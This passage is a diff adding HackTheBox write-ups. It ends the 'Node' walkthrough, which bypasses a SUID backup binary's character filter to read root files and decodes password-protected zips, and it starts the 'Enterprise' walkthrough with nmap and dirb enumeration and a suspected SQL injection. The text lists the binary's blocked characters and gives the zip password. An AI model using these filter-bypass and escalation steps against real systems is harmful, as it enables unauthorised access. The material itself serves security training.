B4EAAAAAA== + + +And we seem to get a base64 encoded string, let's copy it into a file, and decode it. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → nano b64backup + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cat b64backup + UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA== + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cat b64backup | base64 -d > b64d_backup + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → file b64d_backup + b64d_backup: Zip archive data, at least v?[0x333] to extract + + +And we have a zip archive, so let's try to unzip it : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → unzip b64d_backup + Archive: b64d_backup + skipping: root.txt need PK compat. v5.1 (can do v4.6) + + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → 7z e b64d_backup + + 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 + p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) + + Scanning the drive for archives: + 1 file, 1141 bytes (2 KiB) + + Extracting archive: b64d_backup + -- + Path = b64d_backup + Type = zip + Physical Size = 1141 + + + Enter password (will not be echoed): + Everything is Ok + + Size: 2584 + Compressed: 1141 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → ls + b64backup b64d_backup backup nihilist.sh LinEnum.sh myplace myplace.backup root.txt var + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cat root.txt + QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ + QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ + QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ + QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ + QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____. -~""??9VWQQQQQQQQQQQQQQQQQQQ + QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ + QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ + QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ + QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ + QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ + QQQQQQQP'.yQQQQQQQQQQQP" <****wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ + QQQQQP'_a. <****aamQQQW! <****yF "!` .. "??$Qa "WQQQWTVP' "??' =QQmWWV?46/ ?QQQQQ + QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <****wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ + QQ[ j@mQP'adQQP4ga, -????" <****jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"` -?QzQ7L ]QQQ + QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa .QP4QQQQfWkl jQQQ + QE ]QkQk $D?` waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ + QQ,-Qm4Q/-QmQ6 "WWQma/ "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@ "QW@?$:.yQQQQ + QQm/-4wTQgQWQQ, ?4WWk 4waac -???$waQQQQQQQQF??' <****mWWWWWQW?^ ` ]6QQ' yQQQQQ + QQQQw,-?QmWQQQQw a, ?QWWQQQw _. "????9VWaamQWV???" a j/ ]QQf jQQQQQQ + QQQQQQw,"4QQQQQQm,-$Qa ???4F jQQQQQwc <****aaas _aaaaa 4QW ]E )WQ`=QQQQQQQ + QQQQQQWQ/ $QQQQQQQa ?H ]Wwa, ???9WWWh dQWWW,=QWWU? ?! )WQ ]QQQQQQQ + QQQQQQQQQc-QWQQQQQW6, QWQWQQQk <****c jWQ ]QQQQQQQ + QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,., . .; QWQ.]QQQQQQQ + QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ + QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ + QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,, --~-- --- . _ssawmQQQQQQk 3QQQQWQ + QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ + QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV} <****wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ + QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ + QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW + QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,. -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ + QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ + QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ + QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ + +successfully unzipping it, we get a troll root.txt so upon further inspection of the backup binary file using radare2 we see that we need to supply other arguements + +![](prg/13_007.png) + +in this function we see that we have a sanitiszation happening at the beginning of the function, and if it's 2 periods, it is going to push that b64 trollface string. + +![](prg/13_008.png) + +in this function we see that we are also unable to give it the /root parameter + +and looking at the other functions we see that we are unable to use .. /root : & ` $ | /etc // / as parameters given to that backup binary + +But as you can see we don't have just root, we have /root so we can simply go to the / directory, and execute the binary from there, we don't have to give it the / before passing the root parameter. + + + $ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 home/tom/user.txt + UEsDBAoACQAAAJd9I0se46vsLQAAACEAAAARABwAaG9tZS90b20vdXNlci50eHRVVAkAA14VrFkYyF9edXgLAAEEAAAAAAToAwAAYg9ogU9H2FDWDWqaDu0w9XL3V2d03Xaa+Yqp/4M9tOD/HInQtG22oqn5GlP2UEsHCB7jq+wtAAAAIQAAAFBLAQIeAwoACQAAAJd9I0se46vsLQAAACEAAAARABgAAAAAAAEAAACggQAAAABob21lL3RvbS91c2VyLnR4dFVUBQADXhWsWXV4CwABBAAAAAAE6AMAAFBLBQYAAAAAAQABAFcAAACIAAAAAAA= + + $ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root + + 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 + + +Because we are ALREADY at / we don't need to say /root which is a bad character. so let's copy this locally : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → nano user.zip.b64 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cat user.zip.b64| base64 -d > user.zip + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → 7z e user.zip + + 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 + p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) + + Scanning the drive for archives: + 1 file, 245 bytes (1 KiB) + + Extracting archive: user.zip + -- + Path = user.zip + Type = zip + Physical Size = 245 + + + Enter password (will not be echoed): + Everything is Ok + + Size: 33 + Compressed: 245 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cat user.txt + e1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have the user flag ! now let's do the same with the root flag : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → nano root.zip.b64 + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cat root.zip.b64| base64 -d > root.zip + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → file root.zip + root.zip: Zip archive data, at least v1.0 to extract + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → 7z e root.zip + + 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 + p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI) + + Scanning the drive for archives: + 1 file, 3858 bytes (4 KiB) + + Extracting archive: root.zip + -- + Path = root.zip + Type = zip + Physical Size = 3858 + + + Enter password (will not be echoed): + + Would you like to replace the existing file: + Path: ./root.txt + Size: 2584 bytes (3 KiB) + Modified: 2017-09-02 23:51:30 + with the file from archive: + Path: root/root.txt + Size: 33 bytes (1 KiB) + Modified: 2017-09-03 14:46:40 + ? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? A + + Everything is Ok + + Folders: 3 + Files: 7 + Size: 4268 + Compressed: 3858 + + +Giving it the password "magicword" we successfully unzip it just like the previous zip file we decoded : + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → cat root.txt + 17XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we have the root flag ! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/13_graph.png) + diff --git a/Medium/14.md b/Medium/14.md new file mode 100644 index 0000000..da1e6ff --- /dev/null +++ b/Medium/14.md @@ -0,0 +1,928 @@ +# Enterprise Writeup + +![](img/14.png) + +## Introduction : + +Enterprise is a medium linux box released back in October 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → nmap --top-ports 65000 10.10.10.61 -F + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-04 18:08 GMT + Nmap scan report for 10.10.10.61 + Host is up (0.093s latency). + Not shown: 8315 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 443/tcp open https + 5355/tcp filtered llmnr + 8080/tcp open http-proxy + + Nmap done: 1 IP address (1 host up) scanned in 43.10 seconds + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → nmap -sCV -p22,80,443,5355,8080 10.10.10.61 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-04 18:09 GMT + Nmap scan report for 10.10.10.61 + Host is up (0.096s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA) + | 256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA) + |_ 256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519) + 80/tcp open http Apache httpd 2.4.10 ((Debian)) + |_http-generator: WordPress 4.8.1 + |_http-server-header: Apache/2.4.10 (Debian) + |_http-title: USS Enterprise - Ships Log + 443/tcp open ssl/http Apache httpd 2.4.25 ((Ubuntu)) + |_http-server-header: Apache/2.4.25 (Ubuntu) + |_http-title: Apache2 Ubuntu Default Page: It works + | ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK + | Not valid before: 2017-08-25T10:35:14 + |_Not valid after: 2017-09-24T10:35:14 + |_ssl-date: TLS randomness does not represent time + | tls-alpn: + |_ http/1.1 + 5355/tcp filtered llmnr + 8080/tcp open http Apache httpd 2.4.10 ((Debian)) + |_http-generator: Joomla! - Open Source Content Management + | http-open-proxy: Potentially OPEN proxy. + |_Methods supported:CONNECTION + | http-robots.txt: 15 disallowed entries + | /joomla/administrator/ /administrator/ /bin/ /cache/ + | /cli/ /components/ /includes/ /installation/ /language/ + |_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/ + |_http-server-header: Apache/2.4.10 (Debian) + |_http-title: Home + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 23.47 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up 2 http services running on port 80 and 8080 so we dirbust them both : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → dirb http://10.10.10.61 + + ----------------- + DIRB v2.22 + By The Dark Raver + ----------------- + + START_TIME: Wed Mar 4 18:11:46 2020 + URL_BASE: http://10.10.10.61/ + WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt + + ----------------- + + GENERATED WORDS: 4612 + + ---- Scanning URL: http://10.10.10.61/ ---- + + http://10.10.10.61/server-status (CODE:403|SIZE:299) + + ==> DIRECTORY: http://10.10.10.61/wp-admin/ + + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node] + → dirb http://10.10.10.61:8080 + + ----------------- + DIRB v2.22 + By The Dark Raver + ----------------- + + START_TIME: Wed Mar 4 18:11:45 2020 + URL_BASE: http://10.10.10.61:8080/ + WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt + + ----------------- + + GENERATED WORDS: 4612 + + ---- Scanning URL: http://10.10.10.61:8080/ ---- + + http://10.10.10.61:8080/0 (CODE:200|SIZE:7678) + + http://10.10.10.61:8080/01 (CODE:200|SIZE:8286) + + http://10.10.10.61:8080/02 (CODE:200|SIZE:8595) + + http://10.10.10.61:8080/1 (CODE:200|SIZE:8285) + + http://10.10.10.61:8080/1x1 (CODE:200|SIZE:8287) + + http://10.10.10.61:8080/2 (CODE:200|SIZE:8594) + + http://10.10.10.61:8080/2g (CODE:200|SIZE:8595) + + http://10.10.10.61:8080/about (CODE:200|SIZE:8160) + + http://10.10.10.61:8080/About (CODE:200|SIZE:8160) + ==> DIRECTORY: http://10.10.10.61:8080/administrator/ + ==> DIRECTORY: http://10.10.10.61:8080/bin/ + ==> DIRECTORY: http://10.10.10.61:8080/cache/ + ==> DIRECTORY: http://10.10.10.61:8080/components/ + + +So as our nmap scan picked up, we have wordpress running on port 80, and joomla running on port 8080 and investigating port 443 we get yet another webpage which is the default apache successful installation page + +Now dirbusting a https is long and tedious but we find the /files directory nonetheless : + +![](prg/14_002.png) + +so we download it locally (wget --no-check-certificate) and try to unzip it : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → wget https://10.10.10.61/files/lcars.zip --no-check-certificate + --2020-03-05 06:26:20-- https://10.10.10.61/files/lcars.zip + Connecting to 10.10.10.61:443... connected. + WARNING: The certificate of ‘10.10.10.61’ is not trusted. + WARNING: The certificate of ‘10.10.10.61’ doesn't have a known issuer. + WARNING: The certificate of ‘10.10.10.61’ has expired. + The certificate has expired + The certificate's owner does not match hostname ‘10.10.10.61’ + HTTP request sent, awaiting response... 200 OK + Length: 1406 (1.4K) [application/zip] + Saving to: ‘lcars.zip’ + + lcars.zip 100%[===============================================>] 1.37K --.-KB/s in 0s + + 2020-03-05 06:26:21 (14.0 MB/s) - ‘lcars.zip’ saved [1406/1406] + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Enterprise] + → unzip lcars.zip + Archive: lcars.zip + inflating: lcars/lcars_db.php + inflating: lcars/lcars_dbpost.php + inflating: lcars/lcars.php + + +now looking at lcars_db.php we see a few interesting things : + +![](prg/14_003.png) + +number one being the php script including a wordpress php config, located in /var/www/html/wp-config.php which could possibly reveal additional information about the database being used, and at the bottom we see a sql query looking for the number (integer) of wp_post IDs which shows an apparent SQL Injection vulnerability, however because the $result variable is returning an array and whatever we try to inject won't be able to escape the echo statement. + +![](prg/14_004.png) + +here the script is also using the /var/www/html/wp-config.php config, and preety much the same things as above but with 2 additional if statements which are additional checks against sql injections, however we see that whatever we try to query gets casted into integer type so we could write a simple python script, to try passing in numbers as query to inspect what information we can get from it. + + + import requests + + url 